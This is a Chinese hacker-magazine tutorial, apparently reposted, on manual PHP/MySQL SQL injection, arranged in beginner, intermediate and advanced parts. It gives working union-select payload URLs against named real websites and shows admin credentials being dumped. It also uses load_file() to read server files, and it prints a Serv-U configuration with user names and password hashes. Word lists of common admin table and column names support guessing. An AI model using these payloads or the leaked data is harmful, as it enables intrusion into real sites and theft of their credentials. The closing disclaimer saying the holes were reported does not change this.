PHP注入大全,分低级篇,中级篇,高级篇

谨以此献给黑客x档案的新手们

前言:
现在的网络,最流行的攻击手段有两种,一种是缓冲区溢出攻击,一种是SQL注入,相对而言,最流行的还是脚本注入,而脚本注入漏洞更是风靡黑客界。不管是老鸟还是新起步的小菜,都会为它那巨大的威力和灵活多变的招式所着迷!

正是因为注入攻击的流行,使的市面上的注入工具层出不穷!比较出名的有小竹的NBSI、教主的HDSI和啊D的注入工具等等!这大大方便的小菜们掌握注入漏洞!可是,工具是死的,注入的手法却是活的,能否根据实际情况灵活地构造SQL注入语句,得到自己想要的信息,是高手与小菜的根本区别!只用工具,而不去管它的原理,是不可能得到提高的,当然,在遇到一些特殊情况的时候,那些只会用工具的小菜们也只能放弃了!所以学会手工注入自己构造SQL注入语句是一个黑客爱好者必上的一堂课!我希望这篇文章能够给那些还不会手工注入的朋友一点启发!帮助大家早日摆脱工具,早日踏入 高手的行列!

初级篇

PHP注入的常规手段也是先判断注入点,我们现在以华东理工大学的一个注入点(http://career.ecust.edu.cn/pop_zp.php?id=158)为例。在网址后面输入 and 1=1 返回正确页面,如图一:技术分享
 

 

 

图一
再输入 and 1=2 返回错误页面,如图二
 


图二技术分享

那么这样就可以判断此处存在注入点。
然后就是判断字段长度,使用的语句是“order by”在网址后面输入 order by 10 返回正确页面,如图三:
 


图三技术分享

说明字段长度大于10,然后再输入 order by 20 返回错误页面,如图四:


图四技术分享

说明字段长度在10到20之间,当我们输入 order by 11 的时候返回的也是错误页面,这就确定了字段长度为10

然后使用语句“and 1=2 union select 1,2,3,4,5,6,7,8,9,10”爆出2,4,5,6四个字段位置,如图五:

图五技术分享

在mysql中 有很多的注射能用到的函数 比如 user() database() version() 分别用来查看当前数据库连接的用户名,数据库名称 以及mysql的版本,这里 我把 字段4换成 user() 也就是说 让页面在字段4的位置 显示当前数据库连接的用户名
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,user(),5,6,7,8,9,10,如图六
 

 

 


图六技术分享
继续换成其它的函数名,分别显示,如图七,图八

图七技术分享

图八技术分享

然后是猜解管理员的表明 这里说明下 如果当前连接数据库的用户是 root的话 可以尝试使用 loadfile()函数来查看文件内容 不过前提是要知道文件的绝对路径 这里 我们猜解下管理员表名 在语句后加上 from 表名
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin ,如图九

图九技术分享
返回错误页面说明不存在admin这个表名,输入users,如图十


图十技术分享
返回正确页面,说明存在users这个表名
常用的表名有:admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new用户会员


 

摘要:我们继续猜解字段名称 常用的列名有:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin admin_passwod administrator administrators ad...

我们继续猜解字段名称
常用的列名有:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin admin_passwod administrator administrators adminpassword admin_pwd adminpass userpass user_pass 用户
用户名 密码 帐号

输入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,username,3,password,5,6,7,8,9,10%20from%20users
在2,4处分别爆出管理员用户名和密码,如图十一
 

 


图十一技术分享
这里仅仅是一个管理员 其实 这个站管理员很多 我们使用判断语句 来查询不同的管理员的用户名和密码在管理员表中有个id字段 我们用这个字段的值来查询不同的管理员 从1开始
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,username,3,password,5,6,7,8,9,10%20from%20users%20where%20id%20=2,如图十二

 

图十二技术分享

之前我已经看过来从3到127都存在管理员,在这里我就不一一暴了(汗,这么多管理员)!
接下来就是找后台,拿webshell了,这个就不在注入的范围之内,我也就不演示了。


中级篇

这节课说的是 php+mysql注入中load_file()函数的应用

注入的过程中 如果当前数据库连接用户为root或者具有root权限就可以尝试使用这个函数来读取文件 比如在linux下我们可以读取 /etc/passwd 和/etc/shadow来暴力破解linux密码
在windows下 我们可以读取 一些常见的文件以及敏感的地方比如 serv-u的配置文件 my.ini等等

刚才我们已经爆出了当前数据库连接的用户名root@localhost

查看下 c:\boot.ini 这里假设是windows系统 其实就是windows系统

格式是这样的 load_file(0x+文件绝对路径的16进制)

我们先用工具转换下 刚才的断了 我们继续 我一直用这个工具转换

c:\boot.ini转换成16进制是633A5C626F6F742E696E69

我们load_file()看看,输入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,10,如图十三


图十三技术分享

成功爆出boot.ini的内容

我们再来尝试暴一下my.ini这个文件里的内容,我这里找了一下my.ini在c:\windows\下,我们使用转换工具c:\windows\my.ini对应的16进制是633A5C77696E646F77735C6D792E696E69,输入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,load_file(0x633A5C77696E646F77735C6D792E696E69),5,6,7,8,9,10,如图十四

图十四技术分享

因为这台服务器上没有安装serv-u,我们使用另一个网站来测试一下
目标:http://www.nihaocg.com/job/jobinfo.php?id=739,字段长度33
我们先来看一下是否存在serv-u,如图十五

 

图十五技术分享

在这里我经过猜测,发现其serv-u的密码文件ServUDaemon.ini放在e:\serv-u\目录下,e:\serv-u\servudaemon.ini对应的16进制是
653A5C736572762D755C73657276756461656D6F6E2E696E69在网址里输入
http://www.nihaocg.com/job/jobin ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,load_file(0x653A5C736572762D755C73657276756461656D6F6E2E696E69),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33成功爆出ServUDaemon.ini密码文件里的内容,如图十六
 

 

 


 

图十六技术分享
Version=6.3.0.0
ProcessID=1724
[DOMAINS]
Domain1=0.0.0.0||21|nihaocg|1|0|0
[Domain1]
User1=david|1|0
User2=duckula|1|0
[USER=david|1]
Password=jo1F28C9BB1377A27433FFB4E70B7C828B
HomeDir=e:\
RelPaths=1
PasswordLastChange=1230691605
TimeOut=600
Access1=E:\wwwroot|RWAMLP
[USER=duckula|1]
Password=zeDB0E640BED077EF52EB2B366B236CA67
HomeDir=E:\
PasswordLastChange=1230791979
TimeOut=600
Access1=E:\wwwroot|RWAMLP
这里 我们不但看见了网站的目录 而且可以尝试破解serv-u的密码


高级篇

这节课说的是php+mysql注入中的手工爆库 爆表 爆字段,我们在前面很容易就可以爆出一个数据库,但是我们在后面的猜表中,如果没有猜猜表名,对于一些人来说可能就认为没办法了,这时我们就可以利用暴库,暴表,暴字段来获得管理员的用户名和密码。

摘要:这里我使用的一个注入点是:http://study.feloo.com/news.php?id=114129,字段长度为19,分别爆出2,4,5,13三个字段位置。 我们把2处替换为schema_name,然后在后面加上from information_schema.SCHEMATA limit 0...

这里我使用的一个注入点是:http://study.feloo.com/news.php?id=114129,字段长度为19,分别爆出2,4,5,13三个字段位置。
我们把2处替换为schema_name,然后在后面加上from information_schema.SCHEMATA limit 0,1/*这条语句,具体形式为:

http://study.feloo.com/news.php? ... 0union%20select%201,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.SCHEMATA%20limit%200,1/*,如图十七


图十七技术分享
成功爆出网站一个数据库information_schema,但是这个库并不一定是我们想要的数据库(我们所要找的是存在管理员用户名和密码的数据库)
这里 limit 0,1/* 这里意思是 爆出第一个数据库的名字 如果要看第二个数据库名
就一次增加 limit后的值 这里 为0 我增加1,又爆出另一个数据库,如图十八


图十八技术分享
逐次加一,就会分别爆出网站的其它数据库名

这个网站之前我通过
http://study.feloo.com/news.php? ... 0union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
已经爆出了网站的数据库名为:study

我们在继续暴表,就暴study这个库的表吧
http://study.feloo.com/news.php? ... 0union%20select%201,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20TABLE_SCHEMA=0x7374756479%20limit%200,1/*

把2的位置替换为table_name,这里TABLE_SCHEMA=0x7374756479中的0x7374756479是0x+study的十六进制形式。如图十九

图十九技术分享

成功爆出一个表名,我们还是通过增加limit后面的数字来逐一爆出数据库中其它的表名

暴字段

http://study.feloo.com/news.php? ... 0union%20select%201,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x61646D696E%20limit%200,1/*

把2的位置替换成COLUMN_NAME,在TABLE_NAME=0x61646D696E中,0x61646D696E是0x+admin的十六进制形式,如图二十

图二十技术分享
成功爆出admin表中的一个字段名,通过增加limit后面的数字分别爆出其它的字段名,如二十一,二十二
 

 

技术分享
图十二一

图二十二技术分享
至此所有的字段名已经被成功爆出,我们在利用初级篇中讲到的爆出管理员的用户名和密码了。
Concat函数的使用

有时候我们猜到的字段长度可能是1,这样对我们的手工就有所限制,这时我们可以借助concat函数来一次性爆出我们所希望得到的东西

具体用法是concat(我们想要暴的,0x3A,我们想要暴的,0x3A,我们想要暴的……)

我们还拿华东理工大学的那个注入点为例

把4处替换为concat(user(),0x3A,database(),0x3A,version()),0x3A是0x+:的十六进制形式,我们这里用冒号来分隔开当前数据库连接的用户名,数据库名称 以及mysql的版本。

输入

http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,concat(user(),0x3A,database(),0x3A,version()),5,6,7,8,9,10

如图:二十三

图二十三

至此,我们的PHP手工注入到此就结束了,希望此篇文章能对初学者有所帮助,文中所涉及到的网站的漏洞,我已经通知相关的管理员做好了补丁,大家就不要再去尝试了。我们学习的目的不是为了破坏,而是为了更好的维护当前的网络,希望大家能一如既往的关注《黑客x档案》。

本文转自 ☆★ 黑白前线 ★☆ - www.hackline.net

原文链接:http://www.hackline.net/a/special/wlgf/wlrq/2009/1031/1310_3.html

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。